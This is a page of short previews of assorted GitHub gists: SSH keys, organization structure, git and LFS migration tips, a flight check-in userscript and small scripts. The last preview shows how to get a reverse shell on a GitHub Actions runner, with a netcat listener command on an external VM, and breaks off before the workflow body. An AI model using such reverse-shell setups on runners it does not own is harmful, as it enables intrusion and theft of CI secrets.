jexchan

Multiple SSH Keys settings for different github account

create different public key

create different ssh key according the article Mac Set-Up Git

$ ssh-keygen -t rsa -C "your_email@youremail.com"

whatupfoo

Organization archetypes

The intention of this document is to provide some guidance and suggestions to customers who are wondering how they should structure organizations and teams in their GitHub Enterprise environment. The idea isn't to give hard and fast rules on which approach is better than the other, but to give examples of when one approach might be preferable to another depending on the use case.

1. A single organization with direct organization membership for repository access (not teams)

          ________________
          |     Org      |
          |    ______    |
          |   |      |\  |

| | Repo | \ |

mzabriskie

If you're like me you have a dir like ~/Workspace/Github where all your git repos live. I often find myself making a change in a repo, getting side tracked and ending up in another repo, or off doing something else all together. After a while I end up with several repos with modifications. This script helps me pick up where I left off by checking the status of all my repos, instead of having to check each one individually.

Usage:

git-status [directory]

This will run git status on each repo under the directory specified. If called with no directory provided it will default to the current directory.

ayodejiayodele

Copilot Metrics Dashboard (Power BI Version)

This guide provides step-by-step instructions for deploying the Copilot Metrics Dashboard in your environment.

English | Español |

Setup Instructions

To use this report, ensure you have Power BI Desktop installed or access to the Power BI online service.

robandpdx

LFS Migration

GitHub blocks files larger than 100 MiB. Therefore, if you are migrating a repository with objects larger than 100 Mib to Github, you'll need to migrate those large objects to LFS.

A note about OS

By default, windows and mac do not have a case sensitive filesystem. For this reason, I recommend using linux for lfs migration. Also, if the lfs migration seems to take a long time, this is often due to lots of disk I/O. To speed things up, use a cloud linux instance with max disk I/O.

Before migrating to LFS

Make sure you have git-lfs installed.

robandpdx

Rewriting repository history

Sometimes history rewrites are required in order to migrate repositories into github.com. Several factors can dictate the need to rewrite history of a repository:

• objects larger than 100Mb
• commits larger than the 2GB push limit

Although rewriting history might not be required for your repository to migrate to github.com, you may consider rewriting history for several reasons:

• migrate large objects to LFS
• cleanup previous mistakes or bad practices that caused repo bloat
• remove secrets from repo history

stormchasing

// ==UserScript==
// @name           Auto Check-In to Southwest Flights
// @namespace      http://www.ryanizzo.com/southwest-auto-check-in/
// @version        1.8
// @author         Nicholas Buroojy (http://userscripts.org/users/83813)
// @contributor    Ryan Izzo (http://www.ryanizzo.com)
// @contributor    JR Hehnly (http://www.okstorms.com @stormchasing)
// @contributor    Trevor McClellan (github.com/trevormcclellan)
// @description    Automatically check in to Southwest Airline flights at the appropriate time.
// @include        https://www.southwest.com/air/check-in/index.html*

mikegrima

Fix Brave Browser Dictionary

If you have ever mistakenly added a word to the Brave browser dictionary, you need to manually edit the Custom Dictionary.txt file.

As of March 2020, the Brave UI lacks a feature to do this.

Where is the file?

This will depend on your OS. Google for where this is on your OS.

The file on macOS is at: ~/Library/Application\ Support/BraveSoftware/Brave-Browser/Default/Custom\ Dictionary.txt.

needcaffeine

# given a bunch of folders which are years, and contents which are files of the form YYYY-mm-dd - name - $1234.56,
# this script returns a sum of totals by year

import os

totals = {}

for year in os.listdir('.'):
    if os.path.isdir(year) and not year.startswith('.'):
        total = 0

robandpdx

How to get a shell on a GH runner

Getting a shell on a GH runner is pretty easy. First, create a linux VM in your favorite cloud provider. Be sure to allow inbound traffic on port 22 and 1337. SSH into that VM and execute the following command:

nc -nvlp 1337

Then run the following workflow in GH actions:

name: Reverse shell